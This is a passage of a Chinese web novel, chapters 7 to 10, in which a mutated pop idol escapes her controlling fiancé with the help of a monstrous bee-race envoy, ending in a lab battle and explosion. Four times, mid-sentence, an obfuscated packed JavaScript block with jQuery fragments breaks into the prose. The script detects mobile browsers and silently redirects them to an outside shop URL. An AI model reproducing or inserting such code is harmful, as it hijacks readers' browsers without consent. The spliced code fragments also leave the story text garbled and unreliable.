《奏响女王蜂之歌》
7. 第 7 章
茜茜做梦都不会忘记眼前的男人,这个混蛋策划了演唱会的袭击,他甚至以虫子的姿态出现在她的梦里!
该死的,该不会下一秒,他就要分泌出金黄的树液,然后把它滴在她手上吧?!
茜茜盯着对方蜥蜴一般布满猩红细鳞的利爪,心里又惊又恼。
她用力摆动胳膊,恶狠狠地呵斥道,“放开我!”同时抬起小腿,兔子似的猛蹬怪物膝盖。
考虑到对方刚刚接住攻击游刃有余的样子,这次挣扎,茜茜做好了壮士断腕的打算。可出乎意料的是,在她下令后,双手的束缚却骤然一松。
怪物愣愣地站在原地,他歪着脑袋打量着自己那双僵在空中,被鳞片覆盖的猩红利爪,似乎没想明白方才为什么会干脆地松开手指。
不过多亏了这次小小的插曲,等到再次扭头望向一侧的茜茜时,怪物语气中的轻慢有所减弱。
他缓慢地收拢手指,锋利的指尖像猫咪的利爪一样贴合指腹收入肉里,由此幻化而来的手掌骨肉匀称,好似戴上红丝绒手套的时装模特。
与此同时头部的两根美丽的犄角扭转别至耳后,和肩头散落的银色鬃毛融为一体,像是一条精致优雅的麻花细辫。
怪物像是拼装积木一样肆意改造自己的身体组织,直到初具人形,从噩梦变换为化装舞会上精心打扮,以半幅面具遮去真容的魔术大师。
出于种族特有的傲慢,青年并没有像之前潜入那样,做足全套变形,所以只要细看就能发现每处都是昆虫巧妙的伪装。
比如线条清晰的下巴上,在那因笑容弯起的唇角两侧依然能看到锯齿状的细线。
茜茜敢肯定,只要他放声大笑,柔软惑人的嘴唇便会像毒蛇般裂开,露出寒光闪闪的毒牙。
银发红眸的俊美青年将手掌贴上胸前,微微欠身,向茜茜行了一个颇有气势风范的古典绅士礼:
“真抱歉,我的样子吓到你了么?”
“毕竟作为人类生活了十几年,是不是这种姿态更能得到你的信任呢?”
“请原谅我没有第一时间前往你的居室,而是擅自潜入了方舟的实验室。毕竟要保护你,就要弄清你现在的身体情况。”
虽然方舟自诩建立了一座足以作为末日求生基地的地下王宫,延续百米,包含实验区、生活区、种植区还有武装区,其精密的结构好比蚁巢。
但在自然界另一支能工巧匠的族群“蜂”看来,这拙劣的模仿压根不值一提,充其量算得上孩子粗糙简陋的玩具小屋。
他闭着眼睛都能走到目的地,然后在那棵银色巨树下见证了人造产物第一声啼哭,也是最后一声悲鸣。
原本以为茜茜莉亚也是罐里那种初步模仿出蜂的外形,作为病毒抗原储存体,徒有其表的肉质小生命。
但从刚才那声“言灵”来看,她确实有几分女王的资质,如果那不是凑巧的话。
“还好,人类的研究并没有太多有价值的地方。他们要是能制造出人造女王蜂,我们的族群也不至于沉睡这么久了。”
“初次见面,拥有尊贵血脉的小姐。我名为帕西菲克斯,是从极地考察站苏醒的,蜂族的特使,此次前来,迎接您回到蜂族的王巢。”
几根银发从青年的锁骨落下,他殷红的眼眸像是冰雪间烂熟的浆果,在自下而上观察对方表情时,闪烁的眸光比她明星生涯中合作的任何一位男星都要动人。
但茜茜却莫名联想到了童年时父亲图册中提到的美丽螳螂。
它面若娇美兰花,但若是放下警惕随意触碰,就会被那对小巧又尖锐的镰刀割破手指。
危险的家伙。
之前她还能掰玉米一样,卸下成年男子的肩关节,但等到怪物这里,却好像一脚踢到了坚硬的水泥柱子。
他纹丝不动,她的足底却隐隐作痛。
茜茜吃痛地蜷了蜷脚趾,要不是她比他矮了不少,不然刚刚那下肯定往要害上踢!
她小心地向后退了一步,像只炸毛的野猫一样躲在货架后,摇头道:“我不相信你,我不要跟你走!”
帕西菲克斯被这孩子气的拒绝逗乐,颤动肩膀,发出一声轻笑:
“小姐,到来之间,我浅显地研究了一番人类的文化。都说婚姻是爱情的坟墓,如今看来也会变成生命的坟墓,再不走的话,会被所谓的爱人装进罐子哦。”
他抬手,点了点不远处的银色大树,语气无奈极了。
“更何况,‘白皇后’的异常已经引起上层注意了,方舟的武装马上就会包围实验室。不和我一起走,单凭这身简陋的伪装,你一个人还能去哪里呢?”
演唱会上粉丝变成虫型异形的惨态历历在目,眼前的蜂族一口一个猿猴,显然没有把人类的性命放在心上,跟他走肯定没什么好事。
但不知出于什么原因,对方至少愿意和她沟通,显然知道的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543648|186674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东西比她多了不止一点。
而“艾琳娜”的信号在男子出现后就彻底断了。
茜茜捏住一侧金属的货架,感受着指尖冰冷的触感,心里也是一片冰凉。这看似坚固的遮掩,并不能给她提供多少实际的安全。
踌躇片刻,女孩单手搭上衣领,一鼓作气撕开了橘黄的生化防护服,“我还有这双翅膀,说不定能趁乱飞出去呢?”
她是甜心歌手,又不是经过保密训练的女特工。
先前大卫口口声声说要保护她免受不法分子利用,特地隐瞒了许多信息,以至于茜茜对蜂鸣症的了解和普罗大众无异。
她仅仅知晓它是一种极地冰川融化后苏醒的远古病毒,从没想过病毒的源头会活生生出现在眼前——丑陋又强大,就像是虫蛹本应该孵化出的产物。
通过今夜的冒险,茜茜已经认命地接受了自己变成半虫人的事实。
不过她可是千年一遇的超级偶像,既然能用“蜂鸣”的后遗症当歌手,自然也能用变异的翅膀谋条生路。
现在正是验证猜想的好时候!
“翅膀?”
虽然人类很蠢,但艾琳娜确实是少见的天才。
为了解除“白皇后”的防护网,帕西菲克斯只在演唱会上远远瞥过茜茜一眼,他可不认为那种薄纱一样的装饰品有什么真实作用。
“是啊,翅膀……”
随着厚重衣物啪的一声落地,那对雪白而柔软的翅膀终于挣开了束缚,毫无阻拦、不讲道理地占据了他的全部注意。
它轻轻抖落湿热的汗水,在实验室冰冷的空气中颤抖,像朵等待了数日的昙花那样,徐徐打开蜷缩的花瓣,半透明的薄膜在光线照射下反射出水晶般莹润的虹光。
或许是因为那口营养液的原因,茜茜终于能轻轻小幅度扇动这对翅膀了。
饱胀的水球在顷刻间破裂,被隔绝裹覆的气息如洪流涌入口鼻。
舌间滚动的奚落沉沉地坠回喉咙,青年的嘴唇微张,鲜红的瞳孔紧紧崩成一条直线。他费了一些功夫才能克制打开口器,舔舐分辨空气中信息素的冲动——
帕西菲克斯死也不会忘记这个味道,他守护的珍贵的金色种子如今已然成熟,只需积蓄力量便能遨游青空之上,征服所见的任何一位同族。
“……她的确很美。”
真恶心,比起她价值数亿的美丽脸蛋,他居然更在意这双蜂虫的翅膀。
8. 第 8 章
不知道是不是茜茜的错觉,当她露出翅膀后,空气中弥漫的红酒甜香骤然浓重了许多。
好像漫步在一座葡萄藤搭建的长廊中,紫到发黑的果实表皮被太阳晒得发红,渗出薄薄一层甜蜜的露珠。
有贪食的鸟儿啄破了这盛满甜浆的蜜袋,深红的果实便在盛夏中发酵,带来股令人头晕目眩的酒香。
先前潜入实验室的举动耗费了她太多体力,等舒展过这对偌大的翅膀,那半袋营养液的效力基本上消耗殆尽。
浸泡在馥郁的异香里,茜茜无法控制地感到了熟悉的饥饿,她说着说着眼神就往旁边的实验柜里瞄。“但是我没法像你样操作这些,我很容易感到饿……”
要是帕西菲克斯来得再晚一点就好了,她至少能先藏几袋营养液作为口粮。
“没关系,我会喂养你的。”
“真可怜,一直以来你都要靠这种低廉的化合物果腹么?所以才这样瘦弱无力,明明已经发育成熟,却打不开翅膀。”
青年慷慨地打开了手臂,当留意到女孩偷偷吞咽而滑动的喉结时,他吟唱调般起伏的浮夸语气中甚至带上了几分慈爱的味道。
“不,既然能羽化,说明你的工蜂还是给了你需要的营养。但仅仅止步于此,接着就是吝啬的管控。明明工蜂要为他的女王献出一切才是,哎,我猜你连基本的变形都做不到吧?顶着脆弱的肉身,一定让你吃了很多苦。”
她的工蜂?
说到拥有同样甜腻香气,并且有昆虫特征的亲密人员,第一个浮现在茜茜脑海里的便是未婚夫大卫。
“要怎么喂养?你身上带了什么东西吗?”
不会吧,难道她也得跟这个怪物来一次亲密接触才能获得类似的能力?
“我想你应该经历过了,一个吻就足够。还是说你更注重仪式感,需要一个漂亮的小杯子?”
他们所在的星球经历过几次灾变,在人类出现之前由别的智慧生物统治世界,这种猜想在各类文艺创造中屡屡出现。
通过舌腺分泌的浆液哺育同族这点也和父亲对昆虫的研究一致。
但望着对方曲线优美的嘴唇,茜茜还是克制不住心底的崩溃,抱怨道:“你们真的是蜜蜂么?”明明都是智慧种了怎么还要这么落后地喂孩子啊!
两种方式都糟透了!他毁了她最重要的演唱会,茜茜没法确定自己不会在接吻中一口咬掉他的舌头。
再说他真的有舌头么,会不会是虫子特有的带着细密毛刷的口器?
“哦,如果你说那些没能经过考验的可怜的退化种,它们的确还保留着类似的生活习惯。”
“好了,让我来弥补那些缺失的供养,并向您证明我守护您的一片真心吧。”
尽管茜茜还想继续套话,但帕西菲克斯已经从她身上得到了足够多的信息,他对挑食又瘦小的女王发出宠溺的叹息,打算采取直接行动。
不不不,大卫那一口喂养,让她睡了半夜。亲就算了,万一还没补充到体力就失去意识任人宰割就糟了!
“走开,变态!我们才刚认识吧?我才不要亲你!”
眼见男人越靠越近,女孩二话不说推倒了最近的货架。
多米诺骨牌似的连环碰撞制造出“乒呤乓啷”的巨响,顿时引来了附近实验员的注意力。仗着自己身材娇小的优势,茜茜在这狼藉中和青年玩起了二人转。
先前用对话拖延时间的战术也取得了一定成效,在青年再次抓住茜茜前,井然有序的脚步声终于包围了实验室。
帕西菲克斯的注意被武装部队的到来分散,茜茜见机跳起,瞄准了不远处的冷藏柜,用手持镜砸开外层玻璃,捡出一袋营养液便要趁乱塞进嘴里。
就在女孩小巧洁白的贝齿撕开包装的前一秒,只闻“轰”的一声,两人间的障碍被一股无形的狠狠力量扫了出去。
一只猩红的手掌稳稳地捏住了茜茜的下巴,颀长的手指探入湿润的唇舌,精准地卡住了她的牙齿。
好硬!她的牙没崩掉吧?!
可怕的筋肉密度堪比橡胶轮胎,她好似一头撞上垃圾铁桶的流浪小狗,眼前一阵花白,呜咽时被追捕者死死捏住了后颈皮,只能可怜巴巴地双脚悬空不得动弹。
茜茜能听到的异响自然逃不过高级蜂族的耳朵。
可怜的女王仍对养育她的种群保有留恋,并且试图借助小小的骚乱从他身边逃跑。
哦,他帕西菲克斯当然尊重这份不舍,以及她的小聪明。
可放着纯净的蜜液不喝,偏偏要去舔工厂的泔水,这就有点挑战他的忍耐极限了。
你追我逃的闲情逸致烟消云散,帕西菲克斯从后揽住女孩柔软的小肚子,将她紧紧困在怀里。
“小心咬到舌头。”青年温热的呼吸亲昵地舔过耳廓,而那双瞬间扫清障碍的翅膀正如牢笼般锁住茜茜的所有退路。
成熟的高等蜂有一副令茜茜羡慕的翅膀。共计六片,银白色的骨架骤然张开时像极了从天而降执行神罚的神圣炽天使,可翅膜间不祥的殷红血丝,血管交汇处昆虫转动的复眼,又好比地狱里的怪物,掺杂了亵渎邪恶的味道。
那些翅膀将她环抱于中央,以肉眼无法观测的速度振动。
在细微的嗡鸣后,扫射而出的麻醉弹便被切成了细碎的粉末,纷纷扬扬落在地上。
“茜茜!”
双翅挥起的劲风驱散□□的烟雾,门扉处传来青年的声音。
若是放在过去,大卫的呼唤必然叫她觉得幸福和满足。
茜茜十多年的人生可谓顺风顺水,哪怕冒出来几件小小的闹心事,也会有集团派出专人解决。
只要大卫来了,危险和不安就会烟消云散。她要像乳燕投林般扑进他的怀抱,喋喋不休地抱怨社交媒体给她带来的烦心事。
可现在呢?
她想要质问他的真心,又怕知晓答案。
“看看谁来了,你失职的工蜂?”青年轻佻的嗤笑更是加重了茜茜烦躁。
这样束缚未来的女王有违他的礼仪,确定垃圾食品已被销毁,帕西菲克斯动作轻柔抽出手指,给二人留下对峙空间。
良久茜茜才操控坚硬的脖子转了过去。
按照她演过的那些电视剧来看,负心人必然是面目可憎的,她得厉声喝斥他的名字,把手边能接触到的东西通通砸到他的脸上。
但事实上大卫还是那个俊美得体的集团继承人,当观察到他脸上的关切时,她甚至会觉得委屈。
茜茜咬紧了牙关:“你一直都在骗我!你杀了爸爸,克隆我的身体,还说我已经死了!”
面对她的质问,大卫脸上没有丝毫丑事败露的慌乱。
“马库斯博士的事是意外,而这些实验都是为了你。茜茜,你的身体情况比你想象中的复杂,演唱会上的变异你也看到了,为了避免你失去理智,必须这样深入研究。”
他望向茜茜身后的怪物,低沉的声音里是难以抑制的嫌恶。
“至于新闻发布会……就这次事故看,那些怪物已经知晓了你的存在,只有‘假死’才能更好地保护你,但看来还是晚了一步。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543649|186674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说到底大卫只是她的未婚夫又不是她的父亲。她把他当成忠诚的骑士,从没想过他会成为禁锢自己的枷锁。
茜茜瞪大了眼睛,不可置信地反问道:
“保护?既然要保护我,那你问过我的意愿了么?我已经是成年人了,我有权利知道发生在我身上的事!你凭什么替我做决定?!”
青年皱起眉头,灰色的眼眸忧切地凝视她:
“可知道了又能怎么样?这会让你觉得安心,会让你生活得更幸福么?你太善良了,又那么天真,光是网上一点点批评就能让你难受得吃不下饭。”
公众人物怎会没有坎坷?她一帆风顺的轻松生活怎么可能没有代价?
他大卫·维瑟是维瑟集团的继承人,万众瞩目的天之骄子,在商场政局中兵不血刃地厮杀,和生活着温室中徒有其表的甜美天使不同,是理智和权力的象征。
他才是对的,也会一直对下去。
大卫有条不紊的辩驳反倒衬得茜茜愤怒毫无缘由,像个歇斯底里的疯婆娘,几句话就把她堵得回不了话——
万一大卫说的才是对的呢?一切猜忌不过是事故中应激产生的幻觉。
他重新放软语调,无奈的叹息和关切的眼神均是爱意深沉。
“我没有怪你的意思。茜茜,你怎么会这么想?是那头怪物说了什么?还是说他操控白皇后,蛊惑了你?”
只要重新相信他,主动迈出一步,脱离帕西菲克斯的攻击范围,她就能回到过去无忧无虑的安稳幸福中。
回到南法热烈的夏天,空气中弥漫着海盐和柠檬的香气,两人曾在树下交换甜蜜的亲吻……
她失魂落魄地垂下眼眸,内心天人交战无比动摇。
而大卫则加重语气,缓慢地咬住字眼,发下最后通牒。
“茜茜,别任性,快过来。”
仿佛置身于热浪翻腾的夏天,炎炎赤日刺痛皮肤,晒得人头晕目眩,睁不开眼睛。
茜茜的脚缓慢地向前迈了一步,试图回到阴凉的树荫。
可她的神志分明是清醒的!这不是她本身的决定。
她的灵魂好像被无形的力量拉出身体,被迫以更高的视角目睹自己服从大卫指令的行为。
编织身上的操纵从未如此清晰可见,在冰冷的实验室灯光下反射出“钢琴线”般丝丝寒光。
幸福绝对不会是这样的!
人类的那部分不受控制,但蜂族的翅膀却在挣扎。
而她引以为傲的声音颤抖着溢出唇角,像加温的水液里小小的气泡,不断向上,逐渐变大,直到沸腾着破开水面。
“不……”
“不、不、不。”
“我不要!”
随着女孩奋力尖叫,束缚在她喉咙上的珍珠项链骤然崩裂,露出振翅的女王蜂图案。滚圆莹润的乳白色珍珠如溅落的泪珠散了一地,而那颗价值连城的定情蓝宝石被音波劈中,正中裂出一道闪电般的刻痕。
帕西菲克斯垂下猩红的眼眸,伸出手臂,温柔地揽住了脱力跌坐的女孩。
“看吧,欺骗就是欺骗。”
……
她在十八岁吃过的冰凉的、甜蜜的、芬芳的海盐柠檬冰激凌,在二十岁这年变成了用来控制她的依赖剂。事到如今,茜茜终于想明白了输液袋里稀释柠檬水一样的营养液究竟来源何处。
大卫的命令成了压垮她理智的最后一根稻草。
这次茜茜不再犹豫,她一把搂住帕西菲克斯的脖子,强迫他低头,深深地吻了上去。
9. 第 9 章
用一种未知药物帮助自己解脱营养液的成瘾依赖,这种对冲疗法一时起效,后患却是无穷。
首先,过程就很难接受。
精致的下巴、优美的嘴唇抑或高挺的鼻梁,下半张脸再怎么引人想入非非,但只要看过他变形前的样子,就能知道俊美的面庞不过是昆虫拟人所化的坚硬骨板。
而那双猩红的眼眸哪怕在亲密接触时也如此专注锐利,未见丝毫动摇。
茜茜觉得自己正抱着一只坚硬可怕的蜥蜴,有一种正被捕食、命悬一线的危机感。
她分开了他的嘴唇,却找不到想要的蜜露,笨拙地舔舐反倒碰到了他藏在口腔内壁。
撕扯猎物用的上颚,尖锐的齿突像螫针一样刺破了她的舌尖,痛得茜茜眼角泛起了点点泪花,条件反射地往后缩。
可洞窟中的巨蛇早已被溢出的血腥唤醒,它缠住茜茜,将自己的猎物带出危险的区域,引入更深的水域。
温热的殷红琼浆缓慢渗出,沿着交织的柔软舌体,从舌根汇入茜茜的喉咙。
说什么喂养女王是他的职责?凭借多年的接吻经验,茜茜敢打赌这家伙压根没有喂过别人。
粗鲁又直接,压根分不清是在喂她还是打算吃了她!
青年把她锁在怀里,将粗糙的鳞爪埋入她的金发,轻柔地揉捏她的后颈,试图缓解茜茜的紧张,过程里唯一一点安慰就是他胸腔间共振回荡的哄孩子般低低的嗡鸣。
吞下蜂族未经人工处理的蜂王浆,就像静脉注射了没消毒的蜂鸣病毒。
美味愉悦的情绪如尖啸升空的烟花,璀璨绽放后依旧势头不减,当它继续攀升超过享受的阈值,在那之后就是极致的折磨。
馥郁的果香麻痹大脑,而极致的甜味超出了味蕾承受的极限,到了发苦的地步。
又甜又烫的蜜露像岩浆一样滑过茜茜的喉咙,流入食道,她再次体验到了小时候患病的痛苦。
感受到皮肤因失水而紧绷,五脏六腑在体内逐渐融化。
但至少她之前的猜测是对的,帕西菲克斯要喂养她这点不是说谎,他的分泌物的确能帮她获得“女王蜂”应有的力量。
灼热的感觉沿着经脉流向四肢百骸,她的心脏前所未有的剧烈跳动,将迸发的血液被压入绵软的翅膀,促使它张开硬化定型,半透明的翅脉缓慢呈现出蜜露提供方那华美的银白色。
就连脸上残余的一点金色鳞片都化为了秘银色,如同一滴滑落的眼泪,自她那只染上水红的眼眸开始,从眼睑一路蔓延到了下巴。
稀释过的蜂王浆仅仅提供维生的能量,让她比普通人更有力点,但工蜂的喂养竟然可以让她获得对方的能力么?
“好好休息吧,我的小女王。”
吮掉了她嘴角溢出的那点唾液,帕西菲克斯如此心满意足道。
他轻柔地抚摸她脸侧光滑的银鳞,面具后的眼眸因愉快而弯起显得心满意足,和一侧的男人形成了鲜明的对比。
以冷静沉着、铁血无情著称的大卫,那张鲜有表情波动的脸上头一次出现了怒容,绷起的青筋在额角颤动,深灰色的瞳孔收缩成蜥蜴似的深色竖线。
“你这怪物到底对她做了什么?!”
他在帕西菲克斯低头的那刻便毫不犹豫地冲了过来,持枪的手臂径直劈向对方合拢的翅膀。出乎想象的力量,直接撕开了青年足以切割钢筋的翅骨。
但深入敌营的蜂族岂是泛泛之辈?
镶嵌在银红翅膀上的眼眸冷冷地盯着大卫,在脱离本体的瞬间如水银散开,化为面目狰狞的沙虫,一对凶狠有力的螯足将大卫的手臂夹在中间。
就在它闭合的前一秒,两发子弹精准命中巨虫节肢,强大的冲力将它钉在地上。
帕西菲克斯已借着这段空隙和大卫拉开了足够的距离。
他颇为遗憾地看了一眼地上的残肢,“我可没做什么。这是女王的选择,也是你用饥饿训练折磨她的恶果吧。”慢条斯理地用手指依次触碰女孩的小巧喉咙,以及那柔软的上腹,好奇又小心。
这个软绵绵、甜美又可怜的人类身体到底是怎么吸收“蜂王浆”的呢?
怪物如此思索,肩胛处的肌肉快速蠕动,大卫留下的伤口上便再次生出一片翅膀。
这银白软肢从帕西菲克斯身上分离,像毯子一样垫在茜茜的身下。
它有规律地蠕动着,有效地帮她松解了紧绷的肌肉。而其余三片刺入地面的翅膀则聚拢构成盾牌,隔绝了两人战斗的余波。
看来不仅仅是面容身形,帕西菲克斯身上每一部分都可以自主战斗。简直就是一刀两段的蚂蟥,要是她也能学会这种技能,逃亡难度一定能降低不少。
茜茜极力克制住席卷而来的倦意,她趴在地上,抱紧了自己的手持镜,将心口紧紧贴住这一童年保留到现在的爱用物,仔细观察两人的动作。
最开始只是残影,但等到后面,汹涌奔流的热意在四肢渐缓,变成滋养血肉的春潮。
茜茜用手臂撑住酥软的身体重新坐起,靠在帕西菲克斯的翅膀上,逐渐能看清究竟发生了什么。
从鳞片的起伏、翅膀的振动、再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543650|186674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到手臂刺出的副足,女孩湛蓝的眼眸像录像机一样记住了所有细节。
她用手指小心摸向脸颊,心念一动,冰凉的鳞片就像蜡油一样融化,缓缓沉入皮肤。
所有变幻都在藏在茜茜手心的阴影里,她垂下眼眸,再次移开手掌时,鳞片已经恢复如初,一切变化就像没发生那样。
……
没了夹在中间的茜茜,两人的战斗再无保留。
帕西菲克斯在空中肆意变换形态,那身随处可见的白大褂衣角翩飞,在他身上犹如魔术师的白色燕尾服,充满了优雅神秘的美感。
但那银白的翅膀不像和平的白鸽,而是死神致命的镰刀。其上殷红脉络一收一缩,便将血液弹射而出,化为腐蚀一切的强酸。
虽然大卫能凭借超人般的运动神经及时闪避,并用特制的手枪轰开翅膀射来的猩红针雨,将他的镰刀碎成肉块,不断逼近帕西菲克斯的身体,但大卫的子弹数量毕竟是有限的。
在大卫换弹的瞬间,一直保持远距离攻击怪物欺身而来,以猩红的利爪刺向他的面门。
“抓住你了。”
任由怪物翅骨刺入背部,大卫抬起手肘,将双臂合十,挡在面前硬生生接住了帕西菲克斯的利爪。
很轻,能防住!
就像他想的一样,这只怪物不擅长近身肉搏,所以才会一直保持飞行状态远程射击,照面时他刚刚没费太多力气就撕开了它的翅膀。
“停下!”
男人低声怒喝,鸽子灰的眼眸内若有金芒闪过,那威严的声音如一记重锤砸帕西菲克斯,竟然真的让他前进的动作一僵。
哪怕他不是正统的蜂族,言语的效力只持续了短短一瞬,但在殊死对局上已经足够。
管不上肌肉破开的剧痛,大卫用力向外推动手臂,一记刺拳闪电般凿向帕西菲克斯心口。
然而碰到怪物的前一秒,大卫身上却传来“扑哧”一声轻响。
大卫不可置信地低头,看到青年肩胛下不知何时又伸出了两只猩红色的骨爪,它们两掌合十,祈祷般悄无声息刺穿了他的胸膛。
怪物勾起嘴角,朝傲慢的对手露出了一个鲜血淋漓的微笑。
“我确实不习惯近身搏斗,好在花样比较多。”
只要再往旁边几厘米,他就能捏碎这个冒牌工蜂的心脏,仔细品尝胜利的果实。
可就在这时,怪物的耳朵却敏锐地捕捉到一道令人不安的呜咽。
他紧张地向后望去,只见自己小小的女王,痛苦地捂住胸口,“唔”地吐出一口黑血。
10. 第 10 章
意想不到的发展令帕西菲克斯面色一凛。
原先垫在茜茜身下的银色蠕虫立刻伸长身体,它仔细端详她胸口处的贯穿伤疤,当机立断伸出触足压了上去,不断蠕动分泌出乳胶似的奶白色黏液,用以暂缓出血。
与此同时,怪物抽出化身红色长矛的骨爪,用它们擒住大卫的手臂,将男人往上举高了一些,方便进一步观察对方的身体情况。
以两根细长的手指夹住被鲜血濡湿的作战服,青年轻轻往外一撕,藏在大卫心口的漆黑图样便整个露了出来。
待看清那只蜂虫的形状,飞快地理清它跟茜茜脖颈上的花纹的从属关系,青年脸上的笑意也彻底冷了下来。
“哎呀,我第一次见到你这么自私的工蜂。不仅没有尽到供养的职责,还哄骗女王留下了足以抵挡致命伤的赏赐。”
就像怪物描述的那样,大卫胸膛处本应夺走他行动能力的血洞现在已经止血了。
明明通过血矛在男人胸口倾注了大量酸液,但或许是两者皆为同源,这酸性血液没能发挥预期效力,造成大规模坏死。
破损处细小的血管如红虫般蠕动爬行,它们彼此连接重新编织出肌肉纤维的轮廓,似乎恢复只是时间问题。
这猴子倒是身强力壮,可他羸弱的小女王呢?明明已经羽化成熟,身体素质却比不上王台上刚刚孵化的幼儿。
好不容易首次体验正常喂养,又要遭此不幸……
然而即便如此,她还是觉醒了女王最核心的“言灵”能力,一再施展力量,甚至通过蜂印,把它赏赐给了第一只工蜂。
即将死去的星球在冰封后重新焕发生机,万千族人牺牲性命保留的“王卵”融化为无数种子,选定了这个女孩,于是贫瘠的土地上绽放出奇迹的花朵。
多么美妙!今晚注定是一个应当被记入历史,惊喜接连不断的梦幻之夜。
假使他帕西菲克斯能在此赢得女王青睐,她是否会在归巢后,也恩赐他荣誉的印迹呢?
如是想着,青年期待地眯起眼眸。
“这是第一次,也是最后一次,我可不会再给你伤害女王的机会。时候一到,你必将连本带利偿还这一切。”
为了避免茜茜继续分摊伤害,帕西菲克斯暂时打消了取走大卫性命的打算。
但这不代表事情就能这样算了。
怪物抬起手臂,拨动手指关节。以一声清脆的响指为引线,周围各个角落接连传出骇人的爆炸声。
它们连成一片,如地动山摇。一时间,无数砖瓦碎屑从天花板吊顶落下,电灯忽明忽暗闪烁不止,正中央那棵银色巨树的电缆上更是迸发出若干金红色的火花。
啪、啪、啪——
从最顶端开始,枝桠上金色的果实一盏接着一盏,逐渐熄灭。
卵仓中蜷缩的婴孩们神态安然,逐渐消融,终于在平静中结束了这场注定以死亡结局的噩梦,只留下玻璃罐表面由蓝转红的监控数据还在徒劳地跳动。
“不!”
现场乱成一团,有身穿隔离服的研究员奋力扑向蓝屏的电脑,试图抢救多年的项目数据。
有试图代替大卫上前包围帕西菲克斯的武装雇佣兵,但他们要不被碎石或者倾倒的实验器材砸住身体,要不被锐利的飞羽切成碎片。
还有打开急救箱,对大卫进行紧急包扎,试图带他离开危险区域的医疗小组。
这并不是件容易的事,哪怕因言灵反噬和要害受损的双重打击陷入虚弱,青年仍试图向朝夕相伴的恋人伸出手臂,就好像他之前许诺过的,要带她远离一切危险。
而银白的怪物以身体作为隔绝一切混乱的防线,他背手而立,在腥风血雨中一尘不染,在盛大的爆炸中,以鸣雷与烈火净化这处谎言遍布的人造王房。
隐蔽的生化实验基地深入地下百米,即便早在潜入时,便于沿途的关键节点植入了自己的血肉,用酸液腐蚀电路,以短路爆发的热量引发连环爆炸,但直达地表通路还是耗费他了不少时间。
大概还要五分钟吧。
仰面瞧着破损的天花板,青年脑后伪装成发丝的银色鬃毛无声颤动,捕捉远处的爆炸声传来的声浪,推断工程具体进度。
他百无聊赖地抱怨道,“哎,我果然不擅长体力
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543651|186674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
活……要是托尔在就好了,只要一拳就能带我们离开这里,但我还得这么提前准备”,扭身向沉默的茜茜寻求下一步指示:“是时候说再见了,我的小女王还有什么想说的么?”
茜茜捂住已然麻痹的伤口,沉默地望向曾经的爱人,内心百感交集。
心上人,我的心上人。我在你的胸膛上留下了唇印,也留下了真心的祝福。我希望你幸福正如你让我感受到的那般。
如今美好的祝愿一夜之间成了伤及自身的诅咒,他害她沦落到这个地步,茜茜满脑子想的只有怎么报复他。
她在亲吻帕西菲克斯的时候感到了一丝扭曲的痛快,又在大卫挨打的时候觉得他活该,然而等到装满美好片段的回忆殿堂同这间地下实验室一道,迅速地崩解破败。
但现在远远望着大卫狼狈的姿态,茜茜只觉得这一切毫无意义。他如一尊孤寂苍白的雕像留在原地,好像真的为她的远离感到了难以接受的悲伤。
女孩扭过脑袋不再看他:“我没有要说的……”她已经玩腻了公主骑士的扮演游戏,要打也应该是自己动手更加解气。
饮下甘醇的干红蜜露,茜茜的听觉不逊于帕西菲克斯,她能听到一层又一层的建筑被爆炸破开,漆黑的天幕仿佛近在咫尺,冰冷的月光会如霜雪落下,披在身上。
刚刚胸口破开流出的血液显然继承了怪物的能力,它灼烧她的睡裙,在布料上开出一道直至肚脐的长痕,同时也弄脏了茜茜的手持镜。
银色金属像水银一样融化,焦黑的边缘处隐隐可以窥见光滑的白色瓷片。
名贵的工艺品可不会像她的身体一样复原。
茜茜心疼得要命,她把手持镜重新绑回大腿,冲待命的青年矜贵地抬起下巴,命令道:“过来,我的伤口还是好痛。”
